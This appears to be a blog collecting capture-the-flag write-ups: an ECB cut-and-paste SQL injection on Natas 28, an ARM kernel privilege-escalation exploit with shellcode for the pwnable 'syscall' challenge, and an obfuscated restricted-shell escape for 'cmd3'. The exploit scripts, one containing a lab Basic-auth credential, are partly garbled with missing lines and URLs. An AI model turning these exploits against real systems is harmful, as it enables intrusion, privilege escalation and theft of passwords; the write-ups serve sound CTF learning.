Natas 28: Getting It Wrong

I wanted to show someone a good example of a PHP unserialize vulnerability, and remembered that the natas challenges had contained one. So I decided I would do all the challenges to find the one I was looking for, and because I thought it would be fun and easy. Largely I was right and I cruised right through them, found the unserialize one, and kept going. Until I got stopped dead at Natas 28. The problem was not that it was exceptionally difficult; the problem was my reluctance to question my original assumptions about the challenge. I started the challenge, entered a search query, messed with the resulting redirected url, and was presented with

Incorrect amount of PKCS#7 padding for blocksize

And I immediately thought “This is totally a Padding Oracle Attack“. I was certain of it. I then tested different input strings and examined the resulting ciphertext in the query parameter, and determined the block size was 16 bytes. I now had all the information I needed to create a program to decrypt the ciphertext and reveal the password that I thought would be waiting in it. I used this convenient Padding Oracle API, and was able to quickly create the right program by switching out some lines in the example. I ended up with the following code

from paddingoracle import BadPaddingException, PaddingOracle, xor
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somequery = quote(b64encode(data))
        #self.session.cookies['somecookie'] = somecookie

        while 1:
                #print "[*] Trying %s" % somequery
                headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
                response = self.session.get(''+somequery,
                        stream=False, timeout=5, verify=False, headers=headers)
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)


        if "Incorrect amount of PKCS#7 padding for blocksize" not in response.content:
            logging.debug('No padding exception raised on %r', somequery)

			raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print 'Usage: %s <somequery value>' % (sys.argv[0], )


    encrypted_query = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    query = padbuster.decrypt(encrypted_query, block_size=16, iv=bytearray(16))

    print('Decrypted somequery: %s => %r' % (sys.argv[1], query))

This is the right code to take the encrypted query parameter and return the decrypted ciphertext if my assumptions were correct. So I ran the program and it resulted in… gibberish. If it even was able to finish, which in general for 16 byte blocks it wasn’t. It would fail to decrypt some bytes. This is where I screwed up by not rethinking my assumptions about this challenge. Instead I assumed there was something wrong with the code. And when I was convinced that what I wrote was right I wondered if maybe the open source code I was relying on was wrong, so I went through it to make sure it was doing the right thing (it was). I read and reread about padding oracle attacks. I wondered if it was actually an 8 byte block cipher and somehow the additional bytes were being doubled.

Eventually I was still so convinced it was a POA that I asked someone online what I was doing wrong. And they told me to take another look at my assumptions about the cipher, particularly the block mode. I realized almost immediately that the block mode was actually ECB. If I hadn’t so blindly believed I was right in the beginning I would have noticed that the test queries and resulting ciphertexts could not possibly be the result of CBC.

Now that I knew it was ECB I decided to use a chosen plaintext attack, which would allow me to decrypt the portion of the ciphertext after the part that corresponded to the bytes of my query. I found another nice framework to carry this out, chosen-plaintext by EiNSeiN. Using this I produced the following code

import requests
from urllib import quote, unquote
from chosen_plaintext import ChosenPlaintext

class Client(ChosenPlaintext):

	def __init__(self):
		#self.block_size = 16
		#self.plaintext_offset = 32

	def ciphertext(self, plaintext):

		print "[*] Trying plaintext: %s" % plaintext.encode("hex")
		headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
		resp ="", data={"query": plaintext}, headers=headers)

		data = unquote(resp.url.split("query=")[1]).decode("base64")
		print "[*] Got ciphertext: %s" % unquote(resp.url.split("query=")[1]).decode("base64").encode("hex")
		return data

c = Client()
print 'recovered', repr(c.plaintext)

But this code also failed after it found a single byte of plaintext: “%”! So again I thought the code must be wrong. However eventually I remembered that some query characters were being escaped which breaks the ability to perform the chosen plaintext attack beyond an occurrence of one of those characters. So now I knew the next two parts of the plaintext were % and an escaped character. After thinking for a little about it I concluded that it was %’ because it was the end of a SQL LIKE clause, something like “… WHERE joke_body LIKE ‘%{escaped_query}%’ …”. This fit the behavior of the script and made sense with those characters. So now I knew that the ciphertext was an ECB Mode Block Cipher encrypted SQL query. Now since ECB simply encrypts each block separately I could encrypt a block containing valid SQL syntax and then insert it after the %’ in the ciphertext in order to achieve SQL injection. The code below accomplishes this and prints out the password.

import requests
from urllib import quote, unquote
import re

from pwn import *

natas_url = ""
search_url = ""

#authorization header
headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}"Retrieving first ciphertext")

#pad plaintext to ensure it takes up a full ciphertext block
plaintext = "A"*10 + "B"*14
resp =, data={"query": plaintext}, headers=headers)

#get the raw bytes of the ciphertext
encoded_ciphertext = resp.url.split("query=")[1]
ciphertext = unquote(encoded_ciphertext).decode("base64")

#sql to inject into ciphertext query
new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #""Appending query: %s" % new_sql)

#pad plaintext to ensure it also takes up a whole number of ciphertext blocks
plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16))
offset = 48 + len(plaintext)-10

resp =, data={"query": plaintext}, headers=headers)
encoded_new_ciphertext = resp.url.split("query=")[1]
new_ciphertext = unquote(encoded_new_ciphertext).decode("base64")
encrypted_sql = new_ciphertext[48:offset]

#add the encrypted new sql into the final ciphertext
final_ciphertext = ciphertext[:64]+encrypted_sql+ciphertext[64:]

resp = requests.get(search_url, params={"query":final_ciphertext.encode("base64")}, headers=headers)"Response: %s" % re.findall("<li>(.*?)</li>", resp.content)[0])

This was a surprising and interesting challenge. It nicely demonstrates the weakness of ECB block ciphers when the attacker is able to partially control plaintext. It also demonstrated to me that I should never be so sure of my initial assessment that I am blinded when new evidence appears.

Pwnable Challenge: Syscall

Syscall is the first challenge that deals with a kernel vulnerability. It’s pretty much the simplest possible kernel vulnerability, with the only twist being that its on ARM. It is a new system call that takes a string and returns the string with all letters capitalized:

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
			out[i] = in[i];
	return 0;

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;

static void __exit exitmodule(void ){

module_init( initmodule );
module_exit( exitmodule );

The issue here is that there is no check on either the source or destination addresses of the strings. This creates a kind of distorted arbitrary read/write vulnerability, as the syscall will change any bytes that correspond to lower case characters. This allows you to write the necessary commit_creds code into executable kernel memory.

The following exploit overwrites the syscall vmsplice code with the grant_privs bytes which correspond to a call to commit_creds(prepare_kernel_cred(0)). Then vmsplice is called and and the code is run, which changes the uid of the program to 0 (root). Then the flag is read and printed:

//syscall solver
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SYS_UPPER 223
#define OVERWRITTEN 343

/* exploit output: 
[+] Overwriting sys_vmsplice...
[+] Got r00t
[+] Flag: Congratz!! addr_limit looks quite IMPORTANT now... huh?

int main()
    char flag[128];
    char grant_privs[] = "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x01\xb5\x92\x1a"

    printf("[+] Overwriting sys_vmsplice...\n");
    void * sys_vmsplice = (void *)0x800e3dc8;

    syscall(SYS_UPPER, grant_privs, sys_vmsplice);

        perror("[-] Something went wrong\n");
        return -1;

    printf("[+] Got r00t\n");
    FILE * fp = fopen("/root/flag","r");
    if( fp == NULL )
       perror("[-] Error while opening the flag file\n");
       return -1;

    fgets(flag, 128, fp);
    printf("[+] Flag: %s", flag);
    return 0;

I gotta say this is my prettiest exploit. I put some artistry into this one. But the first thing to attempt is commit_creds(prepare_kernel_cred(0)) code that avoids null bytes and lower case characters. After a lot of finagling I came up with the following assembly:

.data:00000008 b501 push {r0, lr}	      
.data:0000000a 1a92 subs r2, r2, r2	      
.data:0000000c 1c10 adds r0, r2, #0	      
.data:0000000e 46f0 mov r8, lr	      
.data:00000010 4a02 ldr r2, [pc, #8] ; (0x0000001c)	;char c = src[i]
.data:00000012 4790 blx r2	      
.data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020)	;dst[i] = c
.data:00000016 321c adds r2, #28	      
.data:00000018 4790 blx r2	;i++
.data:0000001a bd01 pop {r0, pc}	
.data:0000001c 8003f924
.data:00000020 8003f550

The last two 4 byte sequences are the addresses of prepare_kernel_cred and commit_creds which I found from /proc/kallsyms:

/ $ cat /proc/kallsyms|grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms|grep prepare_kernel
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred

I’ll go back and explain what these functions do later. man this is a messy writeup i gotta fix this up.

Pwnable Challenge: Cmd3

Heres my solution to cmd3. Its kind of a silly challenge that won’t teach you anything that will apply to other challenges or real world vulnerabilities. But it was still a lot of fun and since not many have solved it yet I figured I’d write something up for it. Heres the “exploit code”:

#sploitz dude
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 9023))

f = s.makefile()

line = f.readline()
while "your password" not in line:
	line = f.readline()

flagfile = line.split("flagbox/")[1].strip()
print "Flag File: %s" % flagfile

cmdfile = open("/tmp/___", "w+")
cmdfile.write("cat /home/cmd3_pwn/flagbox/"+flagfile)

#where the magic happens
#this string uses some bullshit tricks to fill variables with spaces and "cat" and whatnot
sploitstr = '__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__};___=$(((__+__)));' \
	  + '____=$(((___+__)));______=$(((____+___)));????/???;$(${_:______:____}${_____}/???/___)' + "\n"


password =
print "Password: %s" % password

#read the output and get dat flag son
print "Flag: %s" % f.readline().split("cmd3$ Congratz! here is flag : ")[1].strip()

Alright so nearly all of the important part is the line under #where the magic happens. The first few lines just set up the socket for communicating with the target process listening at port 9023. It prints out information about what is in the directory and most importantly gives the file the password is in. And then there is a prompt for entering bash commands:

total 2824
drwxr-x---  5 root cmd3_pwn    4096 Mar 15 04:00 .
dr-xr-xr-x 66 root root        4096 Jul 13 06:44 ..
d---------  2 root root        4096 Jan 22  2016 .bash_history
-rwxr-x---  1 root cmd3_pwn    1421 Mar 11 00:54
drwx-wx---  2 root cmd3_pwn    4096 Jul 24 21:21 flagbox
drwxr-x---  2 root cmd3_pwn    4096 Jan 22  2016 jail
-rw-r--r--  1 root root     2855746 Jul 25 16:08 log
-rw-r-----  1 root root         764 Mar 10 11:16
total 8
drwxr-x--- 2 root cmd3_pwn 4096 Jan 22  2016 .
drwxr-x--- 5 root cmd3_pwn 4096 Mar 15 04:00 ..
lrwxrwxrwx 1 root root        8 Jan 22  2016 cat -> /bin/cat
lrwxrwxrwx 1 root root       11 Jan 22  2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root        7 Jan 22  2016 ls -> /bin/ls
your password is in flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L

Alright so “cat flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L” and done! Unfortunately no. This prompt is extremely limited. Lets look at the code of cmd3:

import base64, random, math
import os, sys, time, string
from threading import Timer

def rstring(N):
	return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))

password = rstring(32)
filename = rstring(32)

TIME = 60
class MyTimer():
	global filename
        def __init__(self):
                self.timer = Timer(TIME, self.dispatch, args=[])
        def dispatch(self):
                print 'time expired! bye!'
		os.system('rm flagbox/'+filename)

def filter(cmd):
	blacklist = '` !&|"\'*'
	for c in cmd:
		if ord(c)>0x7f or ord(c)<0x20: return False
		if c.isalnum(): return False
		if c in blacklist: return False
	return True

if __name__ == '__main__':
	print 'your password is in flagbox/{0}'.format(filename)
	os.system("ls -al")
	os.system("ls -al jail")
	open('flagbox/'+filename, 'w').write(password)
		while True:
			sys.stdout.write('cmd3$ ')
			cmd = raw_input()
			if cmd==password:
				raise 1
			if filter(cmd) is False:
				print 'caught by filter!'
				raise 1

			os.system('echo "{0}" | base64 -d - | env -i PATH=jail /bin/rbash'.format(cmd.encode('base64')))
		os.system('rm flagbox/'+filename)

The most important parts of this are the lines showing that the cmd is filtered and then passed to rbash. Rbash is a shell which (among other things) restricts execution of programs to those that are in the passed PATH, in this case “jail”. Also to my frustration the source operator “.” is similarly restricted. Additionally the filter method ensures that the only allowed characters are printable, nonalphanumeric, and not within the blacklist. This is a very limited set of characters as notably even spaces are not allowed. So the objective becomes how to craft a cmd out of allowed characters that will allow us to read the flagbox file. It is tough. My first idea, briefly alluded to above, was to use the source operator “.” to print out the file like “.${var containing space}./???????/????????????????????????????????”. This would ideally give an output like “{password}: command not found”. Unfortunately there are a couple issues with this that i didn’t figure out till later. First as stated before the source operator does not accept any string with “/” in it as an argument so you cannot escape the jail directory. Secondly the flabox directory is not readable so the file (“flagbox/{32 character string}”) cannot be referenced using the “?” wildcards. But I didn’t know either of those things so I set about trying to form this string. Really it wasn’t a waste of time because I needed to construct a variable with space in it anyway. Thats what the first part of my magic string “__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__}” is creating. This string heavily uses some weird bash stuff that is well covered on this site . So lets break this part down.

__=$((($$/$$))) -> Puts the value 1 in $__. As covered on the aforementioned site (((…))) allows you to do arithmetic in bash so $$/$$ evaluates to 1.

___=({.,.}) -> This is a bit confusing pretty much it just makes a variable $___ with an array containing 2 periods.

____=${___[@]} -> This takes that array and makes it into the string “. .”. Theres a space!

_____=${____:__:__} -> So now we put the string of length 1 at offset 1 of the previous constructed string into $_____. That character is the space!

Alright so we have a variable with a space now. It was at this point where I discovered that my previous strategy was not going to work. So I had to change tact. The next part just puts the numbers 2, 3, and 5 into variables. That code is : “___=$(((__+__)));____=$(((___+__)));______=$(((____+___)))” . Finally…

????/???;$(${_:______:____}${_____}/???/___) -> the first part uses wildcards to put “jail/cat” into $_. Then using the variables created above, the string “cat” is isolated and then the space variable is used followed by the wildcard expression that becomes /tmp/___. This is all wrapped in $(…) so this translates to “$(cat /tmp/___)” which will execute the command written in /tmp/___.

The exploit code writes “cat {flagfile}” into ___ so the command prints the password. Then the password is sent and the flag is printed. This challenge took some lateral thinking and several hours, not to mention lots of ideas that didn’t end up working. But I did learn a lot about bash minutiae that I will almost definitely never use again, so it was all worth it. If you have a better/shorter solution post it in the comments. Unless its too short and makes me look bad in which case keep it to yourself.